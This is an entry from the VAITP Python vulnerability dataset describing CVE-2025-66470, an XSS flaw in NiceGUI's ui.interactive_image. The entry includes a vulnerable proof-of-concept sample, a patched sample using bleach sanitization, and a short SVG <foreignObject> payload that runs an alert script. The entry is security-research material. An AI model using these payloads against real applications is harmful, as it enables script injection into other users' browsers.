VAITP Dataset

← Back to the dataset

CVE-2025-66470

XSS in NiceGUI's ui.interactive_image via unsanitized SVG rendering.

  • CVSS 6.1
  • CWE-79
  • Input Validation and Sanitization
  • Remote

NiceGUI is a Python-based UI framework. Versions 3.3.1 and below are subject to a XSS vulnerability through the ui.interactive_image component of NiceGUI. The component renders SVG content using Vue's v-html directive without any sanitization. This allows attackers to inject malicious HTML or JavaScript via the SVG <foreignObject> tag whenever the image component is rendered or updated. This is particularly dangerous for dashboards or multi-user applications displaying user-generated content or annotations. This issue is fixed in version 3.4.0.

CVSS base score
6.1
Published
2025-12-09
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Cross-Site Scripting (XSS)
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
NiceGUI
Fixed by upgrading
Yes

Solution

Upgrade NiceGUI to version 3.4.0 or later.

Vulnerable code sample

from nicegui import ui

# This SVG payload contains a <foreignObject> tag with a malicious script.
# In vulnerable versions of NiceGUI (<= 3.3.1), the script is executed
# because the SVG content is rendered without proper sanitization.
malicious_svg_content = """
<svg width="400" height="200" xmlns="http://www.w3.org/2000/svg">
  <rect width="100%" height="100%" fill="lightcoral" />
  <text x="20" y="35" font-size="20" fill="white">Vulnerable Interactive Image</text>
  
  <!-- 
    The <foreignObject> tag allows embedding HTML content within an SVG.
    This is the vector for the XSS attack.
  -->
  <foreignObject x="20" y="60" width="360" height="120">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <div style="font-family: sans-serif; color: white; font-size: 16px;">
        This content is rendered as HTML. If you see an alert box, 
        the application is vulnerable to CVE-2025-66470.
      </div>
      
      <!-- 
        This script will be executed by the browser because the frontend
        uses Vue's 'v-html' directive without sanitizing the input.
      -->
      <script>
        alert('XSS Vulnerability CVE-2025-66470');
      </script>
    </body>
  </foreignObject>
</svg>
"""

# In versions 3.3.1 and below, the 'content' parameter of ui.interactive_image
# was vulnerable. The component would render the provided SVG content directly
# on the frontend, allowing any embedded scripts to run.
ui.interactive_image(
    # A placeholder base image is used. A 1x1 transparent pixel is sufficient.
    source='data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==',
    content=malicious_svg_content,
    cross=False
).classes('w-96')

# To test this vulnerability, run this script using NiceGUI version 3.3.1 or older.
# For example: pip install nicegui==3.3.1
ui.run()

Patched code sample

import bleach
from nicegui import ui

# This code demonstrates how the vulnerability CVE-2025-66470 could be fixed.
# The vulnerability lies in rendering unsanitized SVG content, allowing XSS
# via the <foreignObject> tag. The fix involves sanitizing the SVG content
# to remove potentially malicious tags before it is rendered by the component.

# A library like 'bleach' is used for sanitization.
# You would need to install it: pip install bleach

# --- The Core of the Fix: SVG Sanitization Function ---

def sanitize_svg_content(svg_string: str) -> str:
    """
    Sanitizes SVG content to prevent XSS attacks.

    Based on the CVE, the primary attack vector is the <foreignObject> tag,
    which can contain arbitrary HTML, including <script> tags. A robust fix
    involves stripping any tags not essential for rendering the intended SVG image.

    This function removes the dangerous <foreignObject> tag and its children.
    """
    # Define allowed SVG tags. This list can be extended based on requirements,
    # but excludes <foreignObject> and <script>.
    allowed_tags = [
        'svg', 'a', 'g', 'path', 'rect', 'circle', 'ellipse', 'line',
        'polyline', 'polygon', 'text', 'tspan', 'defs', 'use', 'image',
        'style', 'title', 'desc', 'marker', 'symbol'
    ]
    # Define allowed attributes for the tags.
    # A comprehensive list is needed for full SVG support, but this is illustrative.
    allowed_attributes = {
        '*': ['id', 'class', 'style', 'transform'],
        'svg': ['width', 'height', 'viewBox', 'xmlns', 'version'],
        'path': ['d', 'fill', 'stroke', 'stroke-width'],
        'rect': ['x', 'y', 'width', 'height', 'fill', 'stroke', 'stroke-width'],
        'circle': ['cx', 'cy', 'r', 'fill', 'stroke', 'stroke-width'],
        'image': ['href', 'x', 'y', 'width', 'height'],
        'text': ['x', 'y', 'fill', 'font-family', 'font-size'],
        'a': ['href', 'target'],
    }

    # Use bleach.clean to remove any tags and attributes not in the allow-list.
    # This effectively strips <foreignObject>, <script>, and other malicious elements.
    sanitized_content = bleach.clean(
        svg_string,
        tags=allowed_tags,
        attributes=allowed_attributes,
        strip=True  # Removes disallowed tags instead of escaping them
    )
    return sanitized_content

# --- Demonstration of the fix in a NiceGUI application ---

# Example of malicious SVG content provided by a hypothetical attacker.
# It uses <foreignObject> to embed a <script> tag.
malicious_svg = """
<svg width="300" height="200" xmlns="http://www.w3.org/2000/svg">
  <rect width="100%" height="100%" fill="#fdd"/>
  <text x="10" y="20" fill="red">This SVG contains a malicious script.</text>
  <foreignObject width="280" height="150" x="10" y="40">
    <div xmlns="http://www.w3.org/1999/xhtml">
      <h2>HTML inside SVG</h2>
      <p>This script will execute if the content is not sanitized.</p>
      <script>
        alert("XSS Attack Successful! CVE-2025-66470");
        // In a real attack, this could steal cookies or redirect the user.
      </script>
    </div>
  </foreignObject>
</svg>
"""

# The sanitized version of the SVG content.
sanitized_svg = sanitize_svg_content(malicious_svg)

# UI to demonstrate the fix
with ui.row().classes('w-full justify-center'):
    ui.label('Demonstration of SVG Sanitization Fix').classes('text-2xl')

with ui.row().classes('w-full no-wrap'):
    with ui.card().classes('w-1/2'):
        ui.label('Malicious Input SVG').classes('text-lg')
        ui.code(malicious_svg, language='xml').classes('w-full')

    with ui.card().classes('w-1/2'):
        ui.label('Sanitized Output SVG').classes('text-lg')
        ui.code(sanitized_svg, language='xml').classes('w-full')
        ui.label('Note: The <foreignObject> and <script> tags have been removed.')

ui.separator()

with ui.column().classes('w-full items-center'):
    ui.label('Result in ui.interactive_image').classes('text-xl font-bold mt-4')
    # In a vulnerable version, the component would internally use a mechanism
    # similar to Vue's `v-html` on the `content` property without sanitization.
    # The fix, implemented in NiceGUI v3.4.0+, would involve applying a
    # sanitization function like the one above before rendering the content.
    image = ui.interactive_image(content='').classes('border-4 border-gray-400')
    image.style('width: 300px;')

    def apply_sanitized_content():
        # This function simulates the behavior of the FIXED component.
        # It applies the SANITIZED content, preventing the XSS attack.
        image.set_content(sanitized_svg)
        ui.notify('Applied SANITIZED SVG content. The script did not run.',
                  type='positive')

    def attempt_to_apply_malicious_content():
        # This function simulates what would happen in a VULNERABLE version.
        # We still apply the sanitized version to keep this example safe,
        # but explain what would have occurred.
        image.set_content(sanitized_svg) # Apply sanitized for safety
        ui.notify('Simulating attack: If not fixed, the malicious script would have executed now.',
                  type='warning')

    with ui.row():
        ui.button('Simulate Vulnerable Load', on_click=attempt_to_apply_malicious_content, color='red')
        ui.button('Apply Fixed Load (Sanitized)', on_click=apply_sanitized_content, color='green')

ui.run()

Payload

<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <foreignObject width="100%" height="100%">
    <div xmlns="http://www.w3.org/1999/xhtml">
      <script>alert('XSS')</script>
    </div>
  </foreignObject>
</svg>

Cite this entry

@misc{vaitp:cve202566470,
  title        = {{XSS in NiceGUI's ui.interactive_image via unsanitized SVG rendering.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-66470},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-66470/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::